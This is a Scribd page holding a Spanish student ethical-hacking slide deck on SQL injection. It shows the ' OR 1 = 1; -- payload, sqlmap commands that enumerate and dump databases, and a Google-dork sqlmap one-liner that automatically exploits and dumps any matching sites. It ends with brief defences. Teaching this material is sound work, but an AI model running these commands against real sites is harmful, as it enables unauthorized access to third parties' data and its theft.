Scribd
Upload
122 views14 pages

SQL Injection: Hacking Web

This document discusses SQL injection, a type of hacking technique. It begins by defining SQL injection and providing an example of how it works by exploiting vulnerabilities in web applications. It then recommends tools for automating SQL injection like SQLNinja, The Mole, SQLBrute, and SQLMap. SQLMap is discussed in more detail, showing examples of how it can be used to scan for databases, tables, columns, and dump data. The document concludes by suggesting ways to prevent SQL injection, such as escaping characters, using filters, and prepared statements.

Uploaded by

BRAY YUSMAN QUISPE ATAO
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
122 views14 pages

SQL Injection: Hacking Web

This document discusses SQL injection, a type of hacking technique. It begins by defining SQL injection and providing an example of how it works by exploiting vulnerabilities in web applications. It then recommends tools for automating SQL injection like SQLNinja, The Mole, SQLBrute, and SQLMap. SQLMap is discussed in more detail, showing examples of how it can be used to scan for databases, tables, columns, and dump data. The document concludes by suggesting ways to prevent SQL injection, such as escaping characters, using filters, and prepared statements.

Uploaded by

BRAY YUSMAN QUISPE ATAO
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 14

HACKING WEB

SQL Injection

FDIst: Grupo de Hacking Ético de la FDI


FDIst - HACKING WEB
SQL INJECTION
DISCLAIMER

In no event will we be liable for any


loss or damage including without
limitation, indirect or consequential
loss or damage, or any loss or
damage whatsoever arising from loss
of data or profits arising out of, or in
FDIst - HACKING WEB

connection with, the knowledge


provided.
SQL INJECTION
FDIst - HACKING WEB
SQL INJECTION
¿Qué es?
La magia de SQL Injection

' OR 1 = 1; --
FDIst - HACKING WEB
SQL INJECTION
FDIst - HACKING WEB
SQL INJECTION
La magia de SQL Injection
¡Atacad!

https://vulnerable.devpgsv.com/
FDIst - HACKING WEB
SQL INJECTION
Automatizando

● SQLNinja
● The Mole
● SQLBrute
● SQLMap
FDIst - HACKING WEB
SQL INJECTION
SQLMap

sqlmap -u [URL]

sqlmap -u [URL] --dbs

sqlmap -u [URL] -D [DATABASE] --tables

sqlmap -u [URL] -D [DATABASE] -t [TABLE] --columns


FDIst - HACKING WEB

sqlmap -u [URL] -D [DATABASE] -t [TABLE] --dump


SQL INJECTION
SQLMap

sqlmap -g 'inurl:".php?id="' --dbs --dump-all --exclude-sysdbs


--answers="follow=N, want to skip test payloads specific for other
DBMSes=Y, want to include all tests for 'MySQL'=N,do you want to test this
URL=Y,is vulnerable. Do you want to keep testing the others=N,want to
exploit this SQL injection=Y,store hashes to a temporary file=N,crack them
via a dictionary-based attack=N,do you want sqlmap to try to detect
backend WAF/IPS/IDS=N,injection not exploitable with NULL values. Do you
FDIst - HACKING WEB

want to try with a random integer value for option=Y,due to huge table size
do you want to remove ORDER BY clause gaining speed over
consistency=Y" --threads=10
SQL INJECTION
FDIst - HACKING WEB
SQL INJECTION
Database Injection
Solución

● Escapar caracteres
● Filtros
● Prepared Statements
FDIst - HACKING WEB
SQL INJECTION
FDIst
@FDIstUCM

https://t.me/joinchat/Ar4agkCACYELE5TZ5AWtAA

https://fdist.fdi.ucm.es
FDIst - HACKING WEB
SQL INJECTION
Pablo García de los Salmones Valencia
Febrero 2018

This work is licensed


FDIst - HACKING WEB

under a
SQL INJECTION

Creative Commons Attribut


ion-ShareAlike 4.0 Intern
ational License
.

You might also like